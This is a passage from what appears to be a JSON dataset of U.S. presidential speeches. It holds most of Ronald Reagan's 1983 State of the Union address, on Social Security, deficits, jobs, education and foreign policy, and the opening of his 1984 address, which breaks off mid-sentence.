Then\nthe recession and the sudden end of inflation withered the expanding wage\nbase and increasing revenues the system needs to support the 36 million\nAmericans who depend on it.When the Speaker of the House, the Senate majority leader, and I performed\nthe bipartisan--or formed the bipartisan Commission on Social Security,\npundits and experts predicted that party divisions and conflicting\ninterests would prevent the Commission from agreeing on a plan to save\nsocial security. Well, sometimes, even here in Washington, the cynics are\nwrong. Through compromise and cooperation, the members of the Commission\novercame their differences and achieved a fair, workable plan. They proved\nthat, when it comes to the national welfare, Americans can still pull\ntogether for the common good.Tonight, I'm especially pleased to join with the Speaker and the Senate\nmajority leader in urging the Congress to enact this plan by Easter.There are elements in it, of course, that none of us prefers, but taken\ntogether it performs a package that all of us can support. It asks for some\nsacrifice by all--the self-employed, beneficiaries, workers, government\nemployees, and the better-off among the retired--but it imposes an undue\nburden on none. And, in supporting it, we keep an important pledge to the\nAmerican people: The integrity of the social security system will be\npreserved, and no one's payments will be reduced.The Commission's plan will do the job; indeed, it must do the job. We owe\nit to today's older Americans and today's younger workers. So, before we go\nany further, I ask you to join with me in saluting the members of the\nCommission who are here tonight and Senate Majority Leader Howard Baker and\nSpeaker Tip O'Neill for a job well done. I hope and pray the bipartisan\nspirit that guided you in this endeavor will inspire all of us as we face\nthe challenges of the year ahead.Nearly half a century ago, in this Chamber, another American President,\nFranklin Delano Roosevelt, in his second State of the Union message, urged\nAmerica to look to the future, to meet the challenge of change and the need\nfor leadership that looks forward, not backward.\"Throughout the world,\" he said, \"change is the order of the day. In every\nnation economic problems long in the making have brought crises to (of)\nmany kinds for which the masters of old practice and theory were\nunprepared.\" He also reminded us that \"the future lies with those wise\npolitical leaders who realize that the great public is interested more in\nGovernment than in politics.\"So, let us, in these next 2 years--men and women of both parties, every\npolitical shade--concentrate on the long-range, bipartisan responsibilities\nof government, not the short-range or short-term temptations of partisan\npolitics.The problems we inherited were far worse than most inside and out of\ngovernment had expected; the recession was deeper than most inside and out\nof government had predicted. Curing those problems has taken more time and\na higher toll than any of us wanted. Unemployment is far too high.\nProjected Federal spending--if government refuses to tighten its own\nbelt--will also be far too high and could weaken and shorten the economic\nrecovery now underway.This recovery will bring with it a revival of economic confidence and\nspending for consumer items and capital goods--the stimulus we need to\nrestart our stalled economic engines. The American people have already\nstepped up their rate of saving, assuring that the funds needed to\nmodernize our factories and improve our technology will once again flow to\nbusiness and industry.The inflationary expectations that led to a 21 1/2-percent interest prime\nrate and soaring mortgage rates 2 years ago are now reduced by almost half.\nLeaders have started to realize that double-digit inflation is no longer a\nway of life. I misspoke there. I should have said \"lenders.\"So, interest rates have tumbled, paving the way for recovery in vital\nindustries like housing and autos.The early evidence of that recovery has started coming in. Housing starts\nfor the fourth quarter of 1982 were up 45 percent from a year ago, and\nhousing permits, a sure indicator of future growth, were up a whopping 60\npercent.We're witnessing an upsurge of productivity and impressive evidence that\nAmerican industry will once again become competitive in markets at home and\nabroad, ensuring more jobs and better incomes for the Nation's work force.\nBut our confidence must also be tempered by realism and patience. Quick\nfixes and artificial stimulants repeatedly applied over decades are what\nbrought us the inflationary disorders that we've now paid such a heavy\nprice to cure.The permanent recovery in employment, production, and investment we seek\nwon't come in a sharp, short spurt. It'll build carefully and steadily in\nthe months and years ahead. In the meantime, the challenge of government is\nto identify the things that we can do now to ease the massive economic\ntransition for the American people.The Federal budget is both a symptom and a cause of our economic problems.\nUnless we reduce the dangerous growth rate in government spending, we could\nface the prospect of sluggish economic growth into the indefinite future.\nFailure to cope with this problem now could mean as much as a trillion\ndollars more in national debt in the next 4 years alone. That would average\n$4,300 in additional debt for every man, woman, child, and baby in our\nnation.To assure a sustained recovery, we must continue getting runaway spending\nunder control to bring those deficits down. If we don't, the recovery will\nbe too short, unemployment will remain too high, and we will leave an\nunconscionable burden of national debt for our children. That we must not\ndo.Let's be clear about where the deficit problem comes from. Contrary to the\ndrumbeat we've been hearing for the last few months, the deficits we face\nare not rooted in defense spending. Taken as a percentage of the gross\nnational product, our defense spending happens to be only about four-fifths\nof what it was in 1970. Nor is the deficit, as some would have it, rooted\nin tax cuts. Even with our tax cuts, taxes as a fraction of gross national\nproduct remain about the same as they were in 1970. The fact is, our\ndeficits come from the uncontrolled growth of the budget for domestic\nspending.During the 1970's, the share of our national income devoted to this\ndomestic spending increased by more than 60 percent, from 10 cents out of\nevery dollar produced by the American people to 16 cents. In spite of all\nour economies and efficiencies, and without adding any new programs, basic,\nnecessary domestic spending provided for in this year's budget will grow to\nalmost a trillion dollars over the next 5 years.The deficit problem is a clear and present danger to the basic health of\nour Republic. We need a plan to overcome this danger--a plan based on these\nprinciples. It must be bipartisan. Conquering the deficits and putting the\nGovernment's house in order will require the best effort of all of us. It\nmust be fair. Just as all will share in the benefits that will come from\nrecovery, all would share fairly in the burden of transition. It must be\nprudent. The strength of our national defense must be restored so that we\ncan pursue prosperity and peace and freedom while maintaining our\ncommitment to the truly needy. And finally, it must be realistic. We can't\nrely on hope alone.With these guiding principles in mind, let me outline a four-part plan to\nincrease economic growth and reduce deficits.First, in my budget message, I will recommend a Federal spending freeze. I\nknow this is strong medicine, but so far, we have only cut the rate of\nincrease in Federal spending. The Government has continued to spend more\nmoney each year, though not as much more as it did in the past. Taken as a\nwhole, the budget I'm proposing for the fiscal year will increase no more\nthan the rate of inflation. In other words, the Federal Government will\nhold the line on real spending. Now, that's far less than many American\nfamilies have had to do in these difficult times.I will request that the proposed 6-month freeze in cost-of-living\nadjustments recommended by the bipartisan Social Security Commission be\napplied to other government-related retirement programs. I will, also,\npropose a 1-year freeze on a broad range of domestic spending programs, and\nfor Federal civilian and military pay and pension programs. And let me say\nright here, I'm sorry, with regard to the military, in asking that of them,\nbecause for so many years they have been so far behind and so low in reward\nfor what the men and women in uniform are doing. But I'm sure they will\nunderstand that this must be across the board and fair.Second, I will ask the Congress to adopt specific measures to control the\ngrowth of the so-called uncontrollable spending programs. These are the\nautomatic spending programs, such as food stamps, that cannot be simply\nfrozen and that have grown by over 400 percent since 1970. They are the\nlargest single cause of the built-in or structural deficit problem. Our\nstandard here will be fairness, ensuring that the taxpayers' hard-earned\ndollars go only to the truly needy; that none of them are turned away, but\nthat fraud and waste are stamped out. And I'm sorry to say, there's a lot\nof it out there. In the food stamp program alone, last year, we identified\nalmost $1.1 billion in overpayments. The taxpayers aren't the only victims\nof this kind of abuse. The truly needy suffer as funds intended for them\nare taken not by the needy, but by the greedy. For everyone's sake, we must\nput an end to such waste and corruption.Third, I will adjust our program to restore America's defenses by proposing\n$55 billion in defense savings over the next 5 years. These are savings\nrecommended to me by the Secretary of Defense, who has assured me they can\nbe safely achieved and will not diminish our ability to negotiate arms\nreductions or endanger America's security. We will not gamble with our\nnational survival.And fourth, because we must ensure reduction and eventual elimination of\ndeficits over the next several years, I will propose a standby tax, limited\nto no more than 1 percent of the gross national product, to start in fiscal\n1986. It would last no more than 3 years, and it would start only if the\nCongress has first approved our spending freeze and budget control program.\nAnd there are several other conditions also that must be met, all of them\nin order for this program to be triggered.Now, you could say that this is an insurance policy for the future, a\nremedy that will be at hand if needed but only resorted to if absolutely\nnecessary. In the meantime, we'll continue to study ways to simplify the\ntax code and make it more fair for all Americans. This is a goal that every\nAmerican who's ever struggled with a tax form can understand.At the same time, however, I will oppose any efforts to undo the basic tax\nreforms that we've already enacted, including the 10-percent tax break\ncoming to taxpayers this July and the tax indexing which will protect all\nAmericans from inflationary bracket creep in the years ahead.Now, I realize that this four-part plan is easier to describe than it will\nbe to enact. But the looming deficits that hang over us and over America's\nfuture must be reduced. The path I've outlined is fair, balanced, and\nrealistic. If enacted, it will ensure a steady decline in deficits, aiming\ntoward a balanced budget by the end of the decade. It's the only path that\nwill lead to a strong, sustained recovery. Let us follow that path\ntogether.No domestic challenge is more crucial than providing stable, permanent jobs\nfor all Americans who want to work. The recovery program will provide jobs\nfor most, but others will need special help and training for new skills.\nShortly, I will submit to the Congress the Employment Act of 1983, designed\nto get at the special problems of the long-term unemployed, as well as\nyoung people trying to enter the job market. I'll propose extending\nunemployment benefits, including special incentives to employers who hire\nthe long-term unemployed, providing programs for displaced workers, and\nhelping federally funded and State-administered unemployment insurance\nprograms provide workers with training and relocation assistance. Finally,\nour proposal will include new incentives for summer youth employment to\nhelp young people get a start in the job market.We must offer both short-term help and long-term hope for our unemployed. I\nhope we can work together on this. I hope we can work together as we did\nlast year in enacting the landmark Job Training Partnership Act. Regulatory\nreform legislation, a responsible clean air act, and passage of enterprise\nzone legislation will also create new incentives for jobs and opportunity.One of out of every five jobs in our country depends on trade. So, I will\npropose a broader strategy in the field of international trade--one that\nincreases the openness of our trading system and is fairer to America's\nfarmers and workers in the world marketplace. We must have adequate export\nfinancing to sell American products overseas. I will ask for new\nnegotiating authority to remove barriers and to get more of our products\ninto foreign markets. We must strengthen the organization of our trade\nagencies and make changes in our domestic laws and international trade\npolicy to promote free trade and the increased flow of American goods,\nservices, and investments.Our trade position can also be improved by making our port system more\nefficient. Better, more active harbors translate into stable jobs in our\ncoalfields, railroads, trucking industry, and ports. After 2 years of\ndebate, it's time for us to get together and enact a port modernization\nbill.Education, training, and retraining are fundamental to our success as are\nresearch and development and productivity. Labor, management, and\ngovernment at all levels can and must participate in improving these tools\nof growth. Tax policy, regulatory practices, and government programs all\nneed constant reevaluation in terms of our competitiveness. Every American\nhas a role and a stake in international trade.We Americans are still the technological leaders in most fields. We must\nkeep that edge, and to do so we need to begin renewing the basics--starting\nwith our educational system. While we grew complacent, others have acted.\nJapan, with a population only about half the size of ours, graduates from\nits universities more engineers than we do. If a child doesn't receive\nadequate math and science teaching by the age of 16, he or she has lost the\nchance to be a scientist or an engineer. We must join together--parents,\nteachers, grass roots groups, organized labor, and the business\ncommunity--to revitalize American education by setting a standard of\nexcellence.In 1983 we seek four major education goals: a quality education initiative\nto encourage a substantial upgrading of math and science instruction\nthrough block grants to the States; establishment of education savings\naccounts that will give middle and lower-income families an incentive to\nsave for their children's college education and, at the same time,\nencourage a real increase in savings for economic growth; passage of\ntuition tax credits for parents who want to send their children to private\nor religiously affiliated schools; a constitutional amendment to permit\nvoluntary school prayer. God should never have been expelled from America's\nclassrooms in the first place.Our commitment to fairness means that we must assure legal and economic\nequity for women, and eliminate, once and for all, all traces of unjust\ndiscrimination against women from the United States Code. We will not\ntolerate wage discrimination based on sex, and we intend to strengthen\nenforcement of child support laws to ensure that single parents, most of\nwhom are women, do not suffer unfair financial hardship. We will also take\naction to remedy inequities in pensions. These initiatives will be joined\nby others to continue our efforts to promote equity for women.Also in the area of fairness and equity, we will ask for extension of the\nCivil Rights Commission, which is due to expire this year. The Commission\nis an important part of the ongoing struggle for justice in America, and we\nstrongly support its reauthorization. Effective enforcement of our nation's\nfair housing laws is also essential to ensuring equal opportunity. In the\nyear ahead, we'll work to strengthen enforcement of fair housing laws for\nall Americans.The time has also come for major reform of our criminal justice statutes\nand acceleration of the drive against organized crime and drug trafficking.\nIt's high time that we make our cities safe again. This administration\nhereby declares an all-out war on big-time organized crime and the drug\nracketeers who are poisoning our young people. We will also implement\nrecommendations of our Task Force on Victims of Crime, which will report to\nme this week.American agriculture, the envy of the world, has become the victim of its\nown successes. With one farmer now producing enough food to feed himself\nand 77 other people, America is confronted with record surplus crops and\ncommodity prices below the cost of production. We must strive, through\ninnovations like the payment-in-kind crop swap approach and an aggressive\nexport policy, to restore health and vitality to rural America. Meanwhile,\nI have instructed the Department of Agriculture to work individually with\nfarmers with debt problems to help them through these tough times.Over the past year, our Task Force on Private Sector Initiatives has\nsuccessfully forged a working partnership involving leaders of business,\nlabor, education, and government to address the training needs of American\nworkers. Thanks to the Task Force, private sector initiatives are now\nunderway in all 50 States of the Union, and thousands of working people\nhave been helped in making the shift from dead-end jobs and low-demand\nskills to the growth areas of high technology and the service economy.\nAdditionally, a major effort will be focused on encouraging the expansion\nof private community child care. The new advisory council on private sector\ninitiatives will carry on and extend this vital work of encouraging private\ninitiative in 1983.In the coming year, we will also act to improve the quality of life for\nAmericans by curbing the skyrocketing cost of health care that is becoming\nan unbearable financial burden for so many. And we will submit legislation\nto provide catastrophic illness insurance coverage for older Americans.I will also shortly submit a comprehensive federalism proposal that will\ncontinue our efforts to restore to States and local governments their roles\nas dynamic laboratories of change in a creative society.During the next several weeks, I will send to the Congress a series of\ndetailed proposals on these and other topics and look forward to working\nwith you on the development of these initiatives.So far, now, I've concentrated mainly on the problems posed by the future.\nBut in almost every home and workplace in America, we're already witnessing\nreason for great hope--the first flowering of the manmade miracles of high\ntechnology, a field pioneered and still led by our country.To many of us now, computers, silicon chips, data processing, cybernetics,\nand all the other innovations of the dawning high technology age are as\nmystifying as the workings of the combustion engine must have been when\nthat first Model T rattled down Main Street, U.S.A. But as surely as\nAmerica's pioneer spirit made us the industrial giant of the 20th century,\nthe same pioneer spirit today is opening up on another vast front of\nopportunity, the frontier of high technology.In conquering the frontier we cannot write off our traditional industries,\nbut we must develop the skills and industries that will make us a pioneer\nof tomorrow. This administration is committed to keeping America the\ntechnological leader of the world now and into the 21st century.But let us turn briefly to the international arena. America's leadership in\nthe world came to us because of our own strength and because of the values\nwhich guide us as a society: free elections, a free press, freedom of\nreligious choice, free trade unions, and above all, freedom for the\nindividual and rejection of the arbitrary power of the state. These values\nare the bedrock of our strength. They unite us in a stewardship of peace\nand freedom with our allies and friends in NATO, in Asia, in Latin America,\nand elsewhere. They are also the values which in the recent past some among\nus had begun to doubt and view with a cynical eye.Fortunately, we and our allies have rediscovered the strength of our common\ndemocratic values, and we're applying them as a cornerstone of a\ncomprehensive strategy for peace with freedom. In London last year, I\nannounced the commitment of the United States to developing the\ninfrastructure of democracy throughout the world. We intend to pursue this\ndemocratic initiative vigorously. The future belongs not to governments and\nideologies which oppress their peoples, but to democratic systems of\nself-government which encourage individual initiative and guarantee\npersonal freedom.But our strategy for peace with freedom must also be based on\nstrength--economic strength and military strength. A strong American\neconomy is essential to the well-being and security of our friends and\nallies. The restoration of a strong, healthy American economy has been and\nremains one of the central pillars of our foreign policy. The progress I've\nbeen able to report to you tonight will, I know, be as warmly welcomed by\nthe rest of the world as it is by the American people.We must also recognize that our own economic well-being is inextricably\nlinked to the world economy. We export over 20 percent of our industrial\nproduction, and 40 percent of our farmland produces for export. We will\ncontinue to work closely with the industrialized democracies of Europe and\nJapan and with the International Monetary Fund to ensure it has adequate\nresources to help bring the world economy back to strong, noninflationary\ngrowth.As the leader of the West and as a country that has become great and rich\nbecause of economic freedom, America must be an unrelenting advocate of\nfree trade. As some nations are tempted to turn to protectionism, our\nstrategy cannot be to follow them, but to lead the way toward freer trade.\nTo this end, in May of this year America will host an economic summit\nmeeting in Williamsburg, Virginia.As we begin our third year, we have put in place a defense program that\nredeems the neglect of the past decade. We have developed a realistic\nmilitary strategy to deter threats to peace and to protect freedom if\ndeterrence fails. Our Armed Forces are finally properly paid; after years\nof neglect are well trained and becoming better equipped and supplied. And\nthe American uniform is once again worn with pride. Most of the major\nsystems needed for modernizing our defenses are already underway, and we\nwill be addressing one key system, the MX missile, in consultation with the\nCongress in a few months.America's foreign policy is once again based on bipartisanship, on realism,\nstrength, full partnership, in consultation with our allies, and\nconstructive negotiation with potential adversaries. From the Middle East\nto southern Africa to Geneva, American diplomats are taking the initiative\nto make peace and lower arms levels. We should be proud of our role as\npeacemakers.In the Middle East last year, the United States played the major role in\nending the tragic fighting in Lebanon and negotiated the withdrawal of the\nPLO from Beirut.Last September, I outlined principles to carry on the peace process begun\nso promisingly at Camp David. All the people of the Middle East should know\nthat in the year ahead we will not flag in our efforts to build on that\nfoundation to bring them the blessings of peace.In Central America and the Caribbean Basin, we are likewise engaged in a\npartnership for peace, prosperity, and democracy. Final passage of the\nremaining portions of our Caribbean Basin Initiative, which passed the\nHouse last year, is one of this administration's top legislative priorities\nfor 1983.The security and economic assistance policies of this administration in\nLatin America and elsewhere are based on realism and represent a critical\ninvestment in the future of the human race. This undertaking is a joint\nresponsibility of the executive and legislative branches, and I'm counting\non the cooperation and statesmanship of the Congress to help us meet this\nessential foreign policy goal.At the heart of our strategy for peace is our relationship with the Soviet\nUnion. The past year saw a change in Soviet leadership. We're prepared for\na positive change in Soviet-American relations. But the Soviet Union must\nshow by deeds as well as words a sincere commitment to respect the rights\nand sovereignty of the family of nations. Responsible members of the world\ncommunity do not threaten or invade their neighbors. And they restrain\ntheir allies from aggression.For our part, we're vigorously pursuing arms reduction negotiations with\nthe Soviet Union. Supported by our allies, we've put forward draft\nagreements proposing significant weapon reductions to equal and verifiable\nlower levels. We insist on an equal balance of forces. And given the\noverwhelming evidence of Soviet violations of international treaties\nconcerning chemical and biological weapons, we also insist that any\nagreement we sign can and will be verifiable.In the case of intermediate-range nuclear forces, we have proposed the\ncomplete elimination of the entire class of land-based missiles. We're also\nprepared to carefully explore serious Soviet proposals. At the same time,\nlet me emphasize that allied steadfastness remains a key to achieving arms\nreductions.With firmness and dedication, we'll continue to negotiate. Deep down, the\nSoviets must know it's in their interest as well as ours to prevent a\nwasteful arms race. And once they recognize our unshakable resolve to\nmaintain adequate deterrence, they will have every reason to join us in the\nsearch for greater security and major arms reductions. When that moment\ncomes--and I'm confident that it will--we will have taken an important step\ntoward a more peaceful future for all the world's people.A very wise man, Bernard Baruch, once said that America has never forgotten\nthe nobler things that brought her into being and that light her path. Our\ncountry is a special place, because we Americans have always been\nsustained, through good times and bad, by a noble vision--a vision not only\nof what the world around us is today but what we as a free people can make\nit be tomorrow.We're realists; we solve our problems instead of ignoring them, no matter\nhow loud the chorus of despair around us. But we're also idealists, for it\nwas an ideal that brought our ancestors to these shores from every corner\nof the world.Right now we need both realism and idealism. Millions of our neighbors are\nwithout work. It is up to us to see they aren't without hope. This is a\ntask for all of us. And may I say, Americans have rallied to this cause,\nproving once again that we are the most generous people on Earth.We who are in government must take the lead in restoring the economy. And\nhere all that time, I thought you were reading the paper.The single thing--the single thing that can start the wheels of industry\nturning again is further reduction of interest rates. Just another 1 or 2\npoints can mean tens of thousands of jobs.Right now, with inflation as low as it is, 3.9 percent, there is room for\ninterest rates to come down. Only fear prevents their reduction. A lender,\nas we know, must charge an interest rate that recovers the depreciated\nvalue of the dollars loaned. And that depreciation is, of course, the\namount of inflation. Today, interest rates are based on fear--fear that\ngovernment will resort to measures, as it has in the past, that will send\ninflation zooming again.We who serve here in this Capital must erase that fear by making it\nabsolutely clear that we will not stop fighting inflation; that, together,\nwe will do only those things that will lead to lasting economic growth.Yes, the problems confronting us are large and forbidding. And, certainly,\nno one can or should minimize the plight of millions of our friends and\nneighbors who are living in the bleak emptiness of unemployment. But we\nmust and can give them good reason to be hopeful.Back over the years, citizens like ourselves have gathered within these\nwalls when our nation was threatened; sometimes when its very existence was\nat stake. Always with courage and common sense, they met the crises of\ntheir time and lived to see a stronger, better, and more prosperous\ncountry. The present situation is no worse and, in fact, is not as bad as\nsome of those they faced. Time and again, they proved that there is nothing\nwe Americans cannot achieve as free men and women.Yes, we still have problems--plenty of them. But it's just plain\nwrong--unjust to our country and unjust to our people--to let those\nproblems stand in the way of the most important truth of all: America is on\nthe mend.We owe it to the unfortunate to be aware of their plight and to help them\nin every way we can. No one can quarrel with that. We must and do have\ncompassion for all the victims of this economic crisis. But the big story\nabout America today is the way that millions of confident, caring\npeople--those extraordinary \"ordinary\" Americans who never make the\nheadlines and will never be interviewed--are laying the foundation, not\njust for recovery from our present problems but for a better tomorrow for\nall our people.From coast to coast, on the job and in classrooms and laboratories, at new\nconstruction sites and in churches and community groups, neighbors are\nhelping neighbors. And they've already begun the building, the research,\nthe work, and the giving that will make our country great again.I believe this, because I believe in them--in the strength of their hearts\nand minds, in the commitment that each one of them brings to their daily\nlives, be they high or humble. The challenge for us in government is to be\nworthy of them--to make government a help, not a hindrance to our people in\nthe challenging but promising days ahead.If we do that, if we care what our children and our children's children\nwill say of us, if we want them one day to be thankful for what we did here\nin these temples of freedom, we will work together to make America better\nfor our having been here--not just in this year or this decade but in the\nnext century and beyond.Thank you, and God bless you.NOTE: The President spoke at 9:03 p.m. in the House Chamber of the Capitol.\nHe was introduced by Thomas P. O'Neill, Jr., Speaker of the House of\nRepresentatives. The address was broadcast live on nationwide radio\nand television.", 
+    "name": "Ronald Reagan"
+}
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+{
+    "date": "January 25, 1984", 
+    "speech": "Mr. Speaker, Mr. President, distinguished Members of the Congress, honored\nguests, and fellow citizens:Once again, in keeping with time-honored tradition, I have come to report\nto you on the state of the Union, and I'm pleased to report that America is\nmuch improved, and there's good reason to believe that improvement will\ncontinue through the days to come.You and I have had some honest and open differences in the year past. But\nthey didn't keep us from joining hands in bipartisan cooperation to stop a\nlong decline that had drained this nation's spirit and eroded its health.\nThere is renewed energy and optimism throughout the land. America is back,\nstanding tall, looking to the eighties with courage, confidence, and hope.The problems we're overcoming are not the heritage of one person, party, or\neven one generation. It's just the tendency of government to grow, for\npractices and programs to become the nearest thing to eternal life we'll\never see on this Earth. And there's always that well-intentioned chorus of\nvoices saying, \"With a little more power and a little more money, we could\ndo so much for the people.\" For a time we forgot the American dream isn't\none of making government bigger; it's keeping faith with the mighty spirit\nof free people under God.As we came to the decade of the eighties, we faced the worst crisis in our\npostwar history. In the seventies were years of rising problems and falling\nconfidence. There was a feeling government had grown beyond the consent of\nthe governed. Families felt helpless in the face of mounting inflation and\nthe indignity of taxes that reduced reward for hard work, thrift, and\nrisktaking. All this was overlaid by an evergrowing web of rules and\nregulations.On the international scene, we had an uncomfortable feeling that we'd lost\nthe respect of friend and foe. Some questioned whether we had the will to\ndefend peace and freedom. But America is too great for small dreams. There\nwas a hunger in the land for a spiritual revival; if you will, a crusade\nfor renewal. The American people said: Let us look to the future with\nconfidence, both at home and abroad. Let us give freedom a chance.Americans were ready to make a new beginning, and together we have done it.\nWe're confronting our problems one by one. Hope is alive tonight for\nmillions of young families and senior citizens set free from unfair tax\nincreases and crushing inflation. Inflation has been beaten down from 12.4\nto 3.2 percent, and that's a great victory for all the people. The prime\nrate has been cut almost in half, and we must work together to bring it\ndown even more.Together, we passed the first across-the-board tax reduction for everyone\nsince the Kennedy tax cuts. Next year, tax rates will be indexed so\ninflation can't push people into higher brackets when they get\ncost-of-living pay raises. Government must never again use inflation to\nprofit at the people's expense.Today a working family earning $25,000 has $1,100 more in purchasing power\nthan if tax and inflation rates were still at the 1980 levels. Real\nafter-tax income increased 5 percent last year. And economic deregulation\nof key industries like transportation has offered more chances--or\nchoices, I should say, to consumers and new changes--or chances for\nentrepreneurs and protecting safety. Tonight, we can report and be proud of\none of the best recoveries in decades. Send away the handwringers and the\ndoubting Thomases. Hope is reborn for couples dreaming of owning homes and\nfor risktakers with vision to create tomorrow's opportunities.The spirit of enterprise is sparked by the sunrise industries of high-tech\nand by small business people with big ideas--people like Barbara Proctor,\nwho rose from a ghetto to build a multimillion-dollar advertising agency in\nChicago; Carlos Perez, a Cuban refugee, who turned $27 and a dream into a\nsuccessful importing business in Coral Gables, Florida.People like these are heroes for the eighties. They helped 4 million\nAmericans find jobs in 1983. More people are drawing paychecks tonight than\never before. And Congress helps--or progress helps everyone--well, Congress\ndoes too----everyone. In 1983 women filled 73 percent of all the new jobs\nin managerial, professional, and technical fields.But we know that many of our fellow countrymen are still out of work,\nwondering what will come of their hopes and dreams. Can we love America and\nnot reach out to tell them: You are not forgotten; we will not rest until\neach of you can reach as high as your God-given talents will take you.The heart of America is strong; it's good and true. The cynics were wrong;\nAmerica never was a sick society. We're seeing rededication to bedrock\nvalues of faith, family, work, neighborhood, peace, and freedom--values\nthat help bring us together as one people, from the youngest child to the\nmost senior citizen.The Congress deserves America's thanks for helping us restore pride and\ncredibility to our military. And I hope that you're as proud as I am of the\nyoung men and women in uniform who have volunteered to man the ramparts in\ndefense of freedom and whose dedication, valor, and skill increases so much\nour chance of living in a world at peace.People everywhere hunger for peace and a better life. The tide of the\nfuture is a freedom tide, and our struggle for democracy cannot and will\nnot be denied. This nation champions peace that enshrines liberty,\ndemocratic rights, and dignity for every individual. America's new\nstrength, confidence, and purpose are carrying hope and opportunity far\nfrom our shores. A world economic recovery is underway. It began here.We've journeyed far, but we have much farther to go. Franklin Roosevelt\ntold us 50 years ago this month: \"Civilization can not go back;\ncivilization must not stand still. We have undertaken new methods. It is\nour task to perfect, to improve, to alter when necessary, but in all cases\nto go forward.\"It's time to move forward again, time for America to take freedom's next\nstep. Let us unite tonight behind four great goals to keep America free,\nsecure, and at peace in the eighties together.We can ensure steady economic growth. We can develop America's next\nfrontier. We can strengthen our traditional values. And we can build a\nmeaningful peace to protect our loved ones and this shining star of faith\nthat has guided millions from tyranny to the safe harbor of freedom,\nprogress, and hope.Doing these things will open wider the gates of opportunity, provide\ngreater security for all, with no barriers of bigotry or discrimination.The key to a dynamic decade is vigorous economic growth, our first great\ngoal. We might well begin with common sense in Federal budgeting:\ngovernment spending no more than government takes in.We must bring Federal deficits down. But how we do that makes all the\ndifference.We can begin by limiting the size and scope of government. Under the\nleadership of Vice President Bush, we have reduced the growth of Federal\nregulations by more than 25 percent and cut well over 300 million hours of\ngovernment-required paperwork each year. This will save the public more\nthan $150 billion over the next 10 years.The Grace commission has given us some 2,500 recommendations for reducing\nwasteful spending, and they're being examined throughout the\nadministration. Federal spending growth has been cut from 17.4 percent in\n1980 to less than half of that today, and we have already achieved over\n$300 billion in budget savings for the period of 1982 to '86. But that's\nonly a little more than half of what we sought. Government is still\nspending too large a percentage of the total economy.Now, some insist that any further budget savings must be obtained by\nreducing the portion spent on defense. This ignores the fact that national\ndefense is solely the responsibility of the Federal Government; indeed, it\nis its prime responsibility. And yet defense spending is less than a third\nof the total budget. During the years of President Kennedy and of the years\nbefore that, defense was almost half the total budget. And then came\nseveral years in which our military capability was allowed to deteriorate\nto a very dangerous degree. We are just now restoring, through the\nessential modernization of our conventional and strategic forces, our\ncapability to meet our present and future security needs. We dare not shirk\nour responsibility to keep America free, secure, and at peace.The last decade saw domestic spending surge literally out of control. But\nthe basis for such spending had been laid in previous years. A pattern of\noverspending has been in place for half a century. As the national debt\ngrew, we were told not to worry, that we owed it to ourselves.Now we know that deficits are a cause for worry. But there's a difference\nof opinion as to whether taxes should be increased, spending cut, or some\nof both. Fear is expressed that government borrowing to fund the deficit\ncould inhibit the economic recovery by taking capital needed for business\nand industrial expansion. Well, I think that debate is missing an important\npoint. Whether government borrows or increases taxes, it will be taking the\nsame amount of money from the private sector, and, either way, that's too\nmuch. Simple fairness dictates that government must not raise taxes on\nfamilies struggling to pay their bills. The root of the problem is that\ngovernment's share is more than we can afford if we're to have a sound\neconomy.We must bring down the deficits to ensure continued economic growth. In the\nbudget that I will submit on February 1st, I will recommend measures that\nwill reduce the deficit over the next 5 years. Many of these will be\nunfinished business from last year's budget.Some could be enacted quickly if we could join in a serious effort to\naddress this problem. I spoke today with Speaker of the House O'Neill,\nSenate Majority Leader Baker, Senate Minority Leader Byrd, and House\nMinority Leader Michel. I asked them if they would designate congressional\nrepresentatives to meet with representatives of the administration to try\nto reach prompt agreement on a bipartisan deficit reduction plan. I know it\nwould take a long, hard struggle to agree on a full-scale plan. So, what I\nhave proposed is that we first see if we can agree on a down payment.Now, I believe there is basis for such an agreement, one that could reduce\nthe deficits by about a hundred billion dollars over the next 3 years. We\ncould focus on some of the less contentious spending cuts that are still\npending before the Congress. These could be combined with measures to close\ncertain tax loopholes, measures that the Treasury Department has previously\nsaid to be worthy of support. In addition, we could examine the possibility\nof achieving further outlay savings based on the work of the Grace\ncommission.If the congressional leadership is willing, my representatives will be\nprepared to meet with theirs at the earliest possible time. I would hope\nthe leadership might agree on an expedited timetable in which to develop\nand enact that down payment.But a down payment alone is not enough to break us out of the deficit\nproblem. It could help us start on the right path. Yet, we must do more.\nSo, I propose that we begin exploring how together we can make structural\nreforms to curb the built-in growth of spending.I also propose improvements in the budgeting process. Some 43 of our 50\nStates grant their Governors the right to veto individual items in\nappropriation bills without having to veto the entire bill. California is\none of those 43 States. As Governor, I found this line-item veto was a\npowerful tool against wasteful or extravagant spending. It works in 43\nStates. Let's put it to work in Washington for all the people.It would be most effective if done by constitutional amendment. The\nmajority of Americans approve of such an amendment, just as they and I\napprove of an amendment mandating a balanced Federal budget. Many States\nalso have this protection in their constitutions.To talk of meeting the present situation by increasing taxes is a Band-Aid\nsolution which does nothing to cure an illness that's been coming on for\nhalf a century--to say nothing of the fact that it poses a real threat to\neconomic recovery. Let's remember that a substantial amount of income tax\nis presently owed and not paid by people in the underground economy. It\nwould be immoral to make those who are paying taxes pay more to compensate\nfor those who aren't paying their share.There's a better way. Let us go forward with an historic reform for\nfairness, simplicity, and incentives for growth. I am asking Secretary Don\nRegan for a plan for action to simplify the entire tax code, so all\ntaxpayers, big and small, are treated more fairly. And I believe such a\nplan could result in that underground economy being brought into the\nsunlight of honest tax compliance. And it could make the tax base broader,\nso personal tax rates could come down, not go up. I've asked that specific\nrecommendations, consistent with those objectives, be presented to me by\nDecember 1984.Our second great goal is to build on America's pioneer spirit--I said\nsomething funny? I said America's next frontier--and that's to develop that\nfrontier. A sparkling economy spurs initiatives, sunrise industries, and\nmakes older ones more competitive.Nowhere is this more important than our next frontier: space. Nowhere do we\nso effectively demonstrate our technological leadership and ability to make\nlife better on Earth. The Space Age is barely a quarter of a century old.\nBut already we've pushed civilization forward with our advances in science\nand technology. Opportunities and jobs will multiply as we cross new\nthresholds of knowledge and reach deeper into the unknown.Our progress in space--taking giant steps for all mankind--is a tribute to\nAmerican teamwork and excellence. Our finest minds in government, industry,\nand academia have all pulled together. And we can be proud to say: We are\nfirst; we are the best; and we are so because we're free.America has always been greatest when we dared to be great. We can reach\nfor greatness again. We can follow our dreams to distant stars, living and\nworking in space for peaceful, economic, and scientific gain. Tonight, I am\ndirecting NASA to develop a permanently manned space station and to do it\nwithin a decade.A space station will permit quantum leaps in our research in 